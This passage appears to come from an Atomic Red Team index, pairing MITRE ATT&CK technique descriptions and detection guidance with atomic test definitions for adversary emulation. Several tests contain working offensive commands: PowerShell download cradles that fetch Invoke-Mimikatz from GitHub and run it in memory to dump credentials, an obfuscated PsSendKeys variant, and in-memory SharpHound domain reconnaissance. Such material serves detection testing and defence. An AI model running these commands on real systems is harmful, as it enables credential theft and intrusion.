remotely by using “docker exec”. Kinsing (Golang-based malware) was executed with an Ubuntu container entry point that runs shell scripts. ' supported_platforms: - containers dependencies: - description: 'docker must be installed ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi ' prereq_command: 'which docker ' executor: command: "docker build -t t1609 $PathtoAtomicsFolder/T1609/src/ \ndocker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\ndocker exec -i t1609_container bash -c \"cat /tmp/output.txt\"\n" cleanup_command: "docker stop t1609_container\ndocker rmi -f t1609:latest \n" name: bash elevation_required: false T1569.001: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d type: attack-pattern created: '2020-03-10T18:26:56.187Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1569.001 url: https://attack.mitre.org/techniques/T1569/001 - source_name: Launchctl Man url: https://ss64.com/osx/launchctl.html description: SS64. (n.d.). launchctl. Retrieved March 28, 2020. - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. source_name: Sofacy Komplex Trojan - source_name: 20 macOS Common Tools and Techniques url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. modified: '2022-04-25T14:00:00.188Z' name: 'System Services: Launchctl' description: | Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man) Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w "%s/Library/LaunchAgents/%s" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_detection: "Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \n\nMonitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files." x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Service: Service Creation' - 'File: File Modification' x_mitre_permissions_required: - User - root spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1569.001 atomic_tests: - name: Launchctl auto_generated_guid: 6fb61988-724e-4755-a595-07743749d4e2 description: 'Utilize launchctl ' supported_platforms: - macos input_arguments: executable_path: description: Path of the executable to run. type: path default: "/System/Applications/Calculator.app/Contents/MacOS/Calculator" label_name: description: Unique label to assign this job to launchd. type: string default: evil executor: command: 'launchctl submit -l #{label_name} -- #{executable_path} ' cleanup_command: 'launchctl remove #{label_name} ' name: bash T1059.008: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--818302b2-d640-477b-bf88-873120ce85c4 created: '2020-10-20T00:09:33.072Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1059.008 url: https://attack.mitre.org/techniques/T1059/008 - source_name: Cisco IOS Software Integrity Assurance - Command History url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020. - source_name: Cisco Synful Knock Evolution url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. x_mitre_deprecated: false revoked: false description: "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)" modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Network Device CLI x_mitre_detection: |- Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History) Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' x_mitre_remote_support: true x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1559.003: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Csaba Fitzl @theevilbit of Offensive Security object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19 created: '2021-10-12T06:45:36.763Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1559.003 url: https://attack.mitre.org/techniques/T1559/003 - source_name: creatingXPCservices url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1 description: Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022. - source_name: Designing Daemons Apple Dev url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html description: Apple. (n.d.). Retrieved October 12, 2021. - source_name: CVMServer Vuln url: https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html description: 'Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021.' - source_name: Learn XPC Exploitation url: https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/ description: Wojciech Reguła. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021. x_mitre_deprecated: false revoked: false description: |- Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev) Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: XPC Services x_mitre_detection: '' kill_chain_phases: - phase_name: execution kill_chain_name: mitre-attack x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Process: Process Access' x_mitre_remote_support: false x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1204: technique: modified: '2024-04-12T03:46:49.507Z' name: User Execution description: |- An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary; running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s; or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023) For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - Oleg Skulkin, Group-IB - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: |- Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - Windows - macOS - IaaS - Containers x_mitre_version: '1.6' x_mitre_data_sources: - 'Instance: Instance Start' - 'File: File Creation' - 'Network Traffic: Network Connection Creation' - 'Container: Container Creation' - 'Instance: Instance Creation' - 'Network Traffic: Network Traffic Content' - 'Process: Process Creation' - 'Command: Command Execution' - 'Image: Image Creation' - 'Application Log: Application Log Content' - 'Container: Container Start' x_mitre_remote_support: false type: attack-pattern id: attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1204 external_id: T1204 - source_name: Krebs Discord Bookmarks 2023 description: Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024. url: https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/ - source_name: Telephone Attack Delivery description: 'Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.' url: https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery - source_name: Talos Roblox Scam 2023 description: Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game “Roblox”. Retrieved January 2, 2024. url: https://blog.talosintelligence.com/roblox-scam-overview/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1072: technique: modified: '2024-04-12T03:40:37.954Z' name: Software Deployment Tools description: "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Shane Tully, @securitygypsy - Joe Gumke, U.S. Bank - Tamir Yehuda x_mitre_deprecated: false x_mitre_detection: "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network - SaaS x_mitre_version: '3.0' x_mitre_data_sources: - 'Process: Process Creation' - 'Application Log: Application Log Content' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414 created: '2017-05-31T21:30:57.201Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1072 external_id: T1072 - source_name: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation description: ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023. url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem - source_name: SpecterOps Lateral Movement from Azure to On-Prem AD 2020 description: 'Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.' url: https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d - source_name: 'Mitiga Security Advisory: SSM Agent as Remote Access Trojan' description: 'Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.' url: https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1072 atomic_tests: - name: Radmin Viewer Utility auto_generated_guid: b4988cad-6ed2-434d-ace5-ea2670782129 description: 'An adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console. ' supported_platforms: - windows input_arguments: radmin_installer: description: Radmin Viewer installer type: path default: RadminViewer.msi radmin_exe: description: The radmin.exe executable from RadminViewer.msi type: path default: Radmin Viewer 3/Radmin.exe dependency_executor_name: powershell dependencies: - description: 'Radmin Viewer Utility must be installed at specified location (#{radmin_exe}) ' prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}/#{radmin_exe}") {exit 0} else {exit 1} ' get_prereq_command: | Write-Host Downloading radmin installer New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\#{radmin_installer}" Write-Host Install Radmin Start-Process msiexec -Wait -ArgumentList /i , "PathToAtomicsFolder\..\ExternalPayloads\#{radmin_installer}", /qn executor: name: command_prompt elevation_required: true command: '"%PROGRAMFILES(x86)%/#{radmin_exe}" ' - name: PDQ Deploy RAT auto_generated_guid: e447b83b-a698-4feb-bed1-a7aaf45c3443 description: 'An adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console. ' supported_platforms: - windows input_arguments: PDQ_Deploy_installer: description: PDQ Deploy Install type: path default: PDQDeploysetup.exe PDQ_Deploy_exe: description: The PDQDeployConsole.exe executable from PDQDeploysetup.exe type: path default: Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe dependency_executor_name: powershell dependencies: - description: 'PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe}) ' prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}/#{PDQ_Deploy_exe}") {exit 0} else {exit 1} ' get_prereq_command: | Write-Host Downloading PDQ Deploy installer New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.pdq.com/release/19/Deploy_19.3.350.0.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\#{PDQ_Deploy_installer}" Write-Host Install PDQ Deploy Start-Process "PathToAtomicsFolder\..\ExternalPayloads\#{PDQ_Deploy_installer}" -Wait -ArgumentList "/s" executor: name: command_prompt elevation_required: true command: '"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}" ' - name: Deploy 7-Zip Using Chocolatey auto_generated_guid: 2169e8b0-2ee7-44cb-8a6e-d816a5db7d8a description: 'An adversary may use Chocolatey to remotely deploy the 7-Zip file archiver utility. ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Chocolatey must be installed to deploy 7-Zip. ' prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}\Chocolatey\choco.exe") {exit 0} else {exit 1} ' get_prereq_command: | Write-Host Downloading Chocolatey installer Invoke-WebRequest -Uri "https://chocolatey.org/install.ps1" -OutFile "chocolatey-install.ps1" Write-Host Installing Chocolatey Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File chocolatey-install.ps1" -Wait executor: name: powershell elevation_required: false command: | # Deploy 7-Zip using Chocolatey choco install -y 7zip T1059.001: technique: modified: '2024-03-01T18:01:37.575Z' name: 'Command and Scripting Interpreter: PowerShell' description: |- Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems). PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk. A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack) PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - Mayuresh Dani, Qualys - Praetorian - Ross Brittain x_mitre_deprecated: false x_mitre_detection: |- If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data. Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'Script: Script Execution' - 'Process: Process Creation' - 'Process: Process Metadata' - 'Command: Command Execution' - 'Module: Module Load' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736 created: '2020-03-09T13:48:55.078Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059/001 external_id: T1059.001 - source_name: Microsoft PSfromCsharp APR 2014 description: Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019. url: https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/ - source_name: SilentBreak Offensive PS Dec 2015 description: Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018. url: https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/ - source_name: FireEye PowerShell Logging 2016 description: Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016. url: https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html - source_name: Github PSAttack description: Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016. url: https://github.com/jaredhaight/PSAttack - source_name: inv_ps_attacks description: Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021. url: https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/ - source_name: Malware Archaeology PowerShell Cheat Sheet description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016. url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf - source_name: TechNet PowerShell description: Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016. url: https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx - source_name: Sixdub PowerPick Jan 2016 description: Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018. url: https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1059.001 atomic_tests: - name: Mimikatz auto_generated_guid: f3132740-55bc-48c4-bcc0-758a459cd027 description: 'Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed. ' supported_platforms: - windows input_arguments: mimurl: description: Mimikatz url type: url default: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1 executor: command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{mimurl}''); Invoke-Mimikatz -DumpCreds" ' name: command_prompt elevation_required: true - name: Run BloodHound from local disk auto_generated_guid: a21bb23e-e677-4ee7-af90-6931b57b6350 description: | Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file. supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'SharpHound.ps1 must be located at "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1" ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1" executor: command: | import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1" try { Invoke-BloodHound -OutputDirectory $env:Temp } catch { $_; exit $_.Exception.HResult} Start-Sleep 5 cleanup_command: 'Remove-Item $env:Temp\*BloodHound.zip -Force ' name: powershell - name: Run Bloodhound from Memory using Download Cradle auto_generated_guid: bf8c1441-4674-4dab-8e4e-39d93d08f9b7 description: | Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file. supported_platforms: - windows executor: command: | write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1'); Invoke-BloodHound -OutputDirectory $env:Temp Start-Sleep 5 cleanup_command: 'Remove-Item $env:Temp\*BloodHound.zip -Force ' name: powershell - name: Mimikatz - Cradlecraft PsSendKeys auto_generated_guid: af1800cf-9f9d-4fd1-a709-14b1e6de020d description: 'Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed. ' supported_platforms: - windows executor: command: "$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\\Software\\Microsoft\\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item 